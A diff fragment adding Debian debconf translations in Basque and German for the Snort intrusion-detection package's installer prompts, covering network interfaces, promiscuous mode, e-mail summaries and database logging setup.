+#: ../snort-pgsql.templates:1001
+msgid "manual"
+msgstr "eskuz"
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid "Snort start method:"
+msgstr "Snort abiarazteko metodoa:"
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid ""
+"Snort can be started during boot, when connecting to the net with pppd or "
+"only manually with the /usr/sbin/snort command."
+msgstr ""
+"Snort sistema abioan, sarera pppd bidez konektatzean edo eskuz /usr/sbin/"
+"snort komandoa erabiliaz abiarazi daiteke."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid "Interface(s) which Snort should listen on:"
+msgstr "Snort-ek entzun behar duen interfazea(k):"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"This value is usually 'eth0', but this may be inappropriate in some network "
+"environments; for a dialup connection 'ppp0' might be more appropiate (see "
+"the output of '/sbin/ifconfig')."
+msgstr ""
+"Balio hau arruntean 'eth0' da, baina hau baliogabea izan daiteke zenbait "
+"sare inguruneetan markaketa bidezko konexioetarako 'ppp0' izan daiteke "
+"egokiagoa (begiratu '/sbin/ifconfig' irteeran)."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"Typically, this is the same interface as the 'default route' is on. You can "
+"determine which interface is used for this by running '/sbin/route -n' (look "
+"for '0.0.0.0')."
+msgstr ""
+"Normalean hau 'default route' (lehenetsiriko bidea) ezarria duen interfazea "
+"da. Zein interfaze erabiltzen den jakiteko '/sbin/route -n' komandoaren "
+"irteera begiratu ('0.0.0.0' bilatu)."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"It is also not uncommon to use an interface with no IP address configured in "
+"promiscuous mode. For such cases, select the interface in this system that "
+"is physically connected to the network that should be inspected, enable "
+"promiscuous mode later on and make sure that the network traffic is sent to "
+"this interface (either connected to a 'port mirroring/spanning' port in a "
+"switch, to a hub or to a tap)."
+msgstr ""
+"Ez da guztiz arraroa ere promiskuoa moduan konfiguratutako IP gabeko "
+"interfaze bat erabiltzea ere. Kasu hauetan gainbegiratu behar den sarera "
+"konektaturik dagoen interfazea hautatu, promiskuo modua gaitu eta ziurtatu "
+"sareko trafikoa interfaze honetara bidaltzen dela (ataka ispilu/spanning "
+"port batetan switch batetan, hub batetan edo \"tap\" batetan)."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"You can configure multiple interfaces, just by adding more than one "
+"interface name separated by spaces. Each interface can have its own specific "
+"configuration."
+msgstr ""
+"Interfaze anitz konfiguratu ditzakezu, interfaze izenak bata bestean atzean "
+"zuriune batez bereizirik. Interfaze bakoitzak bere konfigurazio berezia izan "
+"dezake."
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid "Address range for the local network:"
+msgstr "Sare lokaleko helbide tartea:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid ""
+"Please use the CIDR form - for example, 192.168.1.0/24 for a block of 256 "
+"addresses or 192.168.1.42/32 for just one. Multiple values should be comma-"
+"separated (without spaces)."
+msgstr ""
+"Mesedez erabili CIDR formatua - adibidez, 192.168.1.0/24 256 helbideetako "
+"bloke batentzat edo 192.168.1.42/32 bakar batentzat. Balio ezberdinak gakoz "
+"bereizi behar dira (hutsunerik gabe)."
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid ""
+"Please note that if Snort is configured to use multiple interfaces, it will "
+"use this value as the HOME_NET definition for all of them."
+msgstr ""
+"Mesedez kontutan izan Snort interfaze anitz erabiltzeko konfiguraturik "
+"dagoela, balio hau HOME_NET definizio bezala erabiliko da guztietan."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid "Should Snort disable promiscuous mode on the interface?"
+msgstr "Snort-ek modu promiskuoa ezgaitu behar al du interfaze guztietan?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid ""
+"Disabling promiscuous mode means that Snort will only see packets addressed "
+"to the interface it is monitoring. Enabling it allows Snort to check every "
+"packet that passes the Ethernet segment even if it's a connection between "
+"two other computers."
+msgstr ""
+"Modu promiskuoa ezgaitzeak Snort-ek monitorizatzen ari den interfazerako "
+"diren paketeak bakarrik ikustea eragingo du. Berau gaitzean Snort ethernet "
+"segmentutik pasatzen diren pakete guztiak arakatzeko aukera ematen dio nahiz "
+"beste bi ordenagailuen arteko konexio bat denean."
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid "Invalid interface"
+msgstr "Interfaze baliogabea"
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid ""
+"Snort is trying to use an interface which does not exist or is down. Either "
+"it is defaulting inappropriately to 'eth0', or you specified one which is "
+"invalid."
+msgstr ""
+"Snort edo ez dagoen edo konexio gabe dagoen interfaze bat erabiltzen "
+"saiatzen ari da. Edo modu okerrean 'eth0' lehenespena da, edo interfaze "
+"baliogabe bat ezarri duzu."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid "Should Snort's testing order be changed to Pass|Alert|Log?"
+msgstr "Snort probatze ordena Pasa|Alerta|Erregistro-ra aldatu?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid ""
+"Snort's default testing order is Alert|Pass|Log; if you accept this option, "
+"the order will be changed to Pass|Alert|Log, which can make it simpler to "
+"use Snort with some packet-filtering tools."
+msgstr ""
+"Snort-en proba orden lehenetsia Alerta|Pasa|Erregistroa da; aukera hau "
+"onartzen baduzu berau Pasa|Alerta|Erregistroa izatera pasako da zenbait "
+"pakete-iragazte lanabesekin Snort erabiltzea errazagoa izan dadin."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Should daily summaries be sent by e-mail?"
+msgstr "Eguneko laburpena eposta bidez bidali behar al da?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid ""
+"A cron job can be set up to send daily summaries of Snort logs to a selected "
+"e-mail address."
+msgstr ""
+"Cron lan bat ezarri daiteke Snort erregistroen eguneko laburpena hautatutako "
+"eposta helbidera bidali dadin."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Please choose whether you want to activate this feature."
+msgstr "Mesedez hautatu ezaugarri hau gaitu nahi duzun."
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid "Recipient of daily statistics mails:"
+msgstr "Eguneroko estatistika eposta hartzailea:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid ""
+"Please specify the e-mail address that should receive daily summaries of "
+"Snort logs."
+msgstr ""
+"Mesedez ezarri Snort erregistroen eguneroko laburpena jaso behar duen eposta "
+"helbidea."
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Additional custom options:"
+msgstr "Aukera pertsonal gehigarriak:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Please specify any additional options Snort should use."
+msgstr "Mesedez ezarri Snort-ek erabili behar duen edozein aukera gehigarri."
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid "Minimum occurrences before alerts are reported:"
+msgstr "Alertak erreportatzeko errepikatze gutxienekoa:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid ""
+"Please enter the minimum number of alert occurrences before a given alert is "
+"included in the daily statistics."
+msgstr ""
+"Mesedez ezarri alerta bat eguneroko estatistiketan sartzeko gertatu behar "
+"diren gutxieneko errepikapenak."
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid "Snort restart required"
+msgstr "Snort berrabiaraztea beharrezkoa"
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid ""
+"As Snort is manually launched, you need to run '/etc/init.d/snort' for the "
+"changes to take place."
+msgstr ""
+"Snort eskuz abiarazirik dagoenez, '/etc/init.d/snort' exekutatu behar duzu "
+"aldaketak egiteko."
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid "Configuration error"
+msgstr "Konfigurazio errorea"
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"The current Snort configuration is invalid and will prevent Snort starting "
+"up normally. Please review and correct it."
+msgstr ""
+"Dagoen Snort konfigurazioa baliogabea da eta Snort behar bezala abiaraztea "
+"ezintzen du. Mesedez egiaztatu eta konpondu ezazu."
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"To diagnose an error in a Snort configuration file, use '/usr/sbin/snort -T -"
+"c <file>'."
+msgstr ""
+"Snort konfigurazio fitxategian errore bat aztertzeko '/usr/sbin/snort -T -c "
+"<fitxategia>' erabili."
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid "Obsolete configuration file"
+msgstr "Zaharkitutako konfigurazio fitxategia"
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid ""
+"This system uses an obsolete configuration file (/etc/snort/snort.common."
+"parameters) which has been automatically converted into the new "
+"configuration file format (at /etc/default/snort)."
+msgstr ""
+"Sistema honek automatikoki konfigurazio formatu berrira (/etc/default/snort-"
+"en) bihurtu den zaharkituriko konfigurazio fitxategi bat erabiltzen du (/etc/"
+"snort/snort.common.parameters)."
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid ""
+"Please review the new configuration and remove the obsolete one. Until you "
+"do this, the initialization script will not use the new configuration and "
+"you will not take advantage of the benefits introduced in newer releases."
+msgstr ""
+"Mesedez gainbegiratu konfigurazio berria eta kendu zaharra. Zuk hau egin "
+"arte abiarazte skriptak ez du konfigurazio berria erabiliko eta ez duzu "
+"bertsio berrietan sartutako hobetzeen erabilerarik egingo."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid "Set up a database for snort-mysql to log to?"
+msgstr "Datubase bat konfiguratu snort-mysql bertan erregistratzeko?"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"No database has been set up for Snort to log to. Before continuing, you "
+"should make sure you have:"
+msgstr ""
+"Ez da datubaserik konfiguratu Snort-ek bertan erregistroa egiteko. Aurrera "
+"jarraitu haurretik hurrengo hauek betetzen dituzula ziurtatu:"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+" - the server host name (that server must allow TCP connections\n"
+"   from this machine);\n"
+" - a database on that server;\n"
+" - a username and password to access the database."
+msgstr ""
+" - zerbitari ostalari-izena (zerbitzari horrek makina honetako TCP \n"
+"   konexioak onartu behar ditu);\n"
+" - datubase bat zerbitzari horretan;\n"
+" - datubase hori erabili ahal izateko erabiltzaile eta pasahitz bat."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"If some of these requirements are missing, reject this option and run with "
+"regular file logging support."
+msgstr ""
+"Eskakizun hauetako batenbat falta bada, baztertu aukera hau eta fitxategi "
+"bidezko erregistro onarpen arruntaz exekutatu."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-mysql'."
+msgstr ""
+"Datubase erregistroa beranduago konfiguratu daiteke 'dpkg-reconfigure -plow "
+"snort-mysql' exekutatuaz."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid "Database server hostname:"
+msgstr "Datubase zerbitzari ostalari-izena:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid ""
+"Please specify the host name of a database server that allows incoming "
+"connections from this host."
+msgstr ""
+"Mesedez ezarri ostalari honetatik konexioak onartzen dituen datubase "
+"zerbitzariaren ostalari izena."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid "Database name:"
+msgstr "Datu-base izena:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid ""
+"Please specify the name of an existing database to which the database user "
+"has write access."
+msgstr ""
+"Mesedez ezarri datubase erabiltzaileak idazketa baimena duen sorturiko "
+"datubase baten izena."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid "Username for database access:"
+msgstr "Datubasea atzitzeko erabiltzaile-izena:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid ""
+"Please specify a database server username with write access to the database."
+msgstr ""
+"Mesedez ezarri datubasean idazketa baimena duen datubase zerbitzari "
+"erabiltzaile izen bat."
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+msgid "Password for the database connection:"
+msgstr "Datubase konexiorako pasahitza:"
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+msgid ""
+"Please enter the password to use to connect to the Snort Alert database."
+msgstr ""
+"Mesedez idatzi Snort alerta datubasera konektatzeko etabiliko den pasahitza."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid "Configured database mandatory for Snort"
+msgstr "Konfiguratutako datubasea beharrezkoa Snort erabiltzeko"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid ""
+"Snort needs a configured database before it can successfully start up. In "
+"order to create the structure you need to run the following commands AFTER "
+"the package is installed:"
+msgstr ""
+"Snort-ek konfiguratutako datubase bat behar du behar bezala abiarazteko. "
+"Egitura sortu ahala izateko hurrengo komandoak exekutatu behar dituzu "
+"paketea instalatu AURRETIK:"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <user> -h <host> -p <databasename>"
+msgstr ""
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <erabiltzailea> -h <ostalaria> -p <datubase-"
+"izena>"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. MySQL "
+"will prompt you for the password."
+msgstr ""
+"Bete erabiltzaile, ostalari eta datubase izenaren balio zuzenak. MySQL-k "
+"pasahitza eskatuko dizu."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid ""
+"After you have created the database structure, you will need to start Snort "
+"manually."
+msgstr ""
+"Behin datubase egitura sortu duzunean, Snort eskuz abiarazi beharko duzu."
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid "Set up a database for snort-pgsql to log to?"
+msgstr "Datubase bat konfiguratu snort-pgsql bertan erregistratzeko?"
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-pgsql'."
+msgstr ""
+"Datubase erregistroa beranduago berkonfiguratu daiteke 'dpkg-reconfigure -"
+"plow snort-pgsql' exekutatuaz."
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>"
+msgstr ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <erabiltzailea> -h <ostalaria> -W "
+"<datubase-izena>"
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. "
+"PostgreSQL will prompt you for the password."
+msgstr ""
+"Bete erabiltzaile, ostalari eta datubase izenaren balio zuzenak. PostgreSQL -"
+"k pasahitza eskatuko dizu."
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid "Deprecated configuration file"
+msgstr "Zaharkitutako konfigurazio fitxategia"
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid ""
+"The Snort configuration file (/etc/snort/snort.conf) uses deprecated options "
+"no longer available for this Snort release. Snort will not be able to start "
+"unless you provide a correct configuration file. Either allow the "
+"configuration file to be replaced with the one provided in this package or "
+"fix it manually by removing deprecated options."
+msgstr ""
+"Snort konfigurazio fitxategiak (/etc/snort/snort.conf) Snort bertsio onetan "
+"onartzen ez diren zaharkituriko aukerak erabiltzen ditu. Snort ez da "
+"abiarazteko gai izango zuk konfigurazio zuzen bat sortu arte. Edo onartu "
+"pakete honek dakarren konfigurazio fitxategiaz ordeztea edo eskuz konpondu "
+"zaharkituriko aukerak kenduaz."
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid ""
+"The following deprecated options were found in the configuration file: "
+"${DEP_CONFIG}"
+msgstr ""
+"Hurrengo zaharkituriko aukerak aurkitu dira konfigurazio fitxategian: "
+"${DEP_CONFIG}"
+
+#~ msgid "You are running Snort manually"
+#~ msgstr "Snort eskuz exekutatzen ari zara"
+
+#~ msgid "There is an error in your configuration"
+#~ msgstr "Errore bat aurkitu da zure konfigurazioan"
--- snort-2.7.0.orig/debian/po/de.po
+++ snort-2.7.0/debian/po/de.po
@@ -0,0 +1,606 @@
+# translation of snort_2.7.0-10_de.po to German
+#
+#    Translators, if you are not familiar with the PO format, gettext
+#    documentation is worth reading, especially sections dedicated to
+#    this format, e.g. by running:
+#         info -n '(gettext)PO Files'
+#         info -n '(gettext)Header Entry'
+#    Some information specific to po-debconf are available at
+#            /usr/share/doc/po-debconf/README-trans
+#         or http://www.debian.org/intl/l10n/po-debconf/README-trans#
+#    Developers do not need to manually edit POT or PO files.
+#
+# Erik Schanze <eriks@debian.org>, 2004-2008.
+msgid ""
+msgstr ""
+"Project-Id-Version: snort_2.7.0-10_de\n"
+"Report-Msgid-Bugs-To: snort@packages.debian.org\n"
+"POT-Creation-Date: 2008-05-01 21:28+0200\n"
+"PO-Revision-Date: 2008-04-20 22:17+0200\n"
+"Last-Translator: Erik Schanze <eriks@debian.org>\n"
+"Language-Team: German <debian-l10n-german@lists.debian.org>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Generator: KBabel 1.11.4\n"
+"Plural-Forms:  nplurals=2; plural=(n != 1);\n"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "boot"
+msgstr "Systemstart"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "dialup"
+msgstr "Einwahl"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "manual"
+msgstr "manuell"
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid "Snort start method:"
+msgstr "Startmethode für Snort:"
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid ""
+"Snort can be started during boot, when connecting to the net with pppd or "
+"only manually with the /usr/sbin/snort command."
+msgstr ""
+"Snort kann beim Systemstart, bei der Einwahl ins Internet mit Pppd oder nur "
+"manuell mit dem Befehl /usr/sbin/snort gestartet werden."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid "Interface(s) which Snort should listen on:"
+msgstr "Schnittstelle(n) an der/denen Snort lauschen soll:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"This value is usually 'eth0', but this may be inappropriate in some network "
+"environments; for a dialup connection 'ppp0' might be more appropiate (see "
+"the output of '/sbin/ifconfig')."
+msgstr ""
+"Dieser Wert ist normalerweise »eth0«, aber das kann in einigen "
+"Netzwerkumgebung anders sein; bei einer Einwahlverbindung sollte »ppp0« "
+"besser passen (sehen Sie sich die Ausgabe des Befehls '/sbin/ifconfig' an)."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"Typically, this is the same interface as the 'default route' is on. You can "
+"determine which interface is used for this by running '/sbin/route -n' (look "
+"for '0.0.0.0')."
+msgstr ""
+"Normalerweise ist das die selbe Schnittstelle, auf die die Standard-Route "
+"zeigt. Sie können die verwendete Schnittstelle mit dem Befehl '/sbin/route -"
+"n' herausfinden (suchen Sie nach »0.0.0.0«)."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"It is also not uncommon to use an interface with no IP address configured in "
+"promiscuous mode. For such cases, select the interface in this system that "
+"is physically connected to the network that should be inspected, enable "
+"promiscuous mode later on and make sure that the network traffic is sent to "
+"this interface (either connected to a 'port mirroring/spanning' port in a "
+"switch, to a hub or to a tap)."
+msgstr ""
+"Es ist auch üblich, Snort an einer Schnittstelle ohne IP-Adresse im Modus "
+"»Promiscuous« zu betreiben. In diesem Fall wählen Sie die Schnittstelle aus, "
+"die physisch mit dem Netzwerk verbunden ist, das Sie überwachen wollen und "
+"schalten später den Modus »Promiscuous« ein. Stellen Sie sicher, dass der "
+"Netzwerkverkehr die Schnittstelle erreicht (entweder sie ist verbunden mit "
+"einem Anschluss für »Port-Mirroring/Spanning« eines Switches, mit einem Hub "
+"oder Tap)."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"You can configure multiple interfaces, just by adding more than one "
+"interface name separated by spaces. Each interface can have its own specific "
+"configuration."
+msgstr ""
+"Sie können mehrere Schnittstellennamen durch Leerzeichen getrennt eingeben. "
+"Jede Schnittstelle kann eigene Einstellungen haben."
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid "Address range for the local network:"
+msgstr "Adressbereich des lokalen Netzwerks:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid ""
+"Please use the CIDR form - for example, 192.168.1.0/24 for a block of 256 "
+"addresses or 192.168.1.42/32 for just one. Multiple values should be comma-"
+"separated (without spaces)."
+msgstr ""
+"Bitte benutzen Sie das CIDR-Format, z. B. 192.168.1.0/24 für einen Block von "
+"256 IP-Adressen oder 192.168.1.42/32 für nur eine. Mehrere IP-Adressen "
+"sollten durch Kommas getrennt werden (ohne Leerzeichen)."
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid ""
+"Please note that if Snort is configured to use multiple interfaces, it will "
+"use this value as the HOME_NET definition for all of them."
+msgstr ""
+"Bitte beachten Sie: Wenn für Snort mehrere Schnittstellen eingerichtet sind, "
+"wird diese Festlegung als HOME_NET-Definition für alle gemeinsam verwendet."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid "Should Snort disable promiscuous mode on the interface?"
+msgstr "Soll Snort den Modus »Promiscuous« an der Schnittstelle ausschalten?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid ""
+"Disabling promiscuous mode means that Snort will only see packets addressed "
+"to the interface it is monitoring. Enabling it allows Snort to check every "
+"packet that passes the Ethernet segment even if it's a connection between "
+"two other computers."
+msgstr ""
+"Das Ausschalten des Modus' »Promiscuous« bedeutet, dass Snort nur die Pakete "
+"sehen wird, die an die Schnittstelle adressiert sind, die es überwacht. Das "
+"Einschalten ermöglicht es Snort, alle Pakete zu überprüfen, die das Netzwerk-"
+"Segment durchlaufen, selbst wenn es eine Verbindung zwischen zwei anderen "
+"Rechnern ist."
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid "Invalid interface"
+msgstr "Ungültige Schnittstelle"
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid ""
+"Snort is trying to use an interface which does not exist or is down. Either "
+"it is defaulting inappropriately to 'eth0', or you specified one which is "
+"invalid."
+msgstr ""
+"Snort versucht eine Schnittstelle zu nutzen, die es nicht gibt oder die "
+"nicht aktiv ist. Entweder ist die Vorgabe »eth0« hier unpassend, oder Sie "
+"haben eine ungültige Schnittstelle eingegeben."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid "Should Snort's testing order be changed to Pass|Alert|Log?"
+msgstr "Soll Snorts Reihenfolge der Tests auf Pass|Alert|Log geändert werden?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid ""
+"Snort's default testing order is Alert|Pass|Log; if you accept this option, "
+"the order will be changed to Pass|Alert|Log, which can make it simpler to "
+"use Snort with some packet-filtering tools."
+msgstr ""
+"Snorts Standard-Testreihenfolge ist Alert|Pass|Log; wenn Sie hier zustimmen, "
+"wird die Reihenfolge in Pass|Alert|Log geändert, was die Nutzung von Snort "
+"mit einigen Paketfilter-Programmen vereinfachen kann."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Should daily summaries be sent by e-mail?"
+msgstr "Sollen tägliche Zusammenfassungen per E-Mail verschickt werden?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid ""
+"A cron job can be set up to send daily summaries of Snort logs to a selected "
+"e-mail address."
+msgstr ""
+"Es kann ein Cronjob eingerichtet werden, der täglich Zusammenfassungen der "
+"Protokolle von Snort an eine bestimmte E-Mail-Adresse schickt."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Please choose whether you want to activate this feature."
+msgstr "Bitte stimmen Sie zu, wenn Sie das wollen."
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid "Recipient of daily statistics mails:"
+msgstr "Empfänger der täglichen Statistik-E-Mails:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid ""
+"Please specify the e-mail address that should receive daily summaries of "
+"Snort logs."
+msgstr ""
+"Bitte geben Sie die E-Mail-Adresse ein, an die täglich Zusammenfassungen der "
+"Protokolle von Snort geschickt werden sollen."
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Additional custom options:"
+msgstr "Zusätzliche benutzerspezifische Optionen:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Please specify any additional options Snort should use."
+msgstr "Bitte geben Sie alle weiteren Optionen ein, die Snort benutzen soll."
+
+#. Type: string
+#. Description
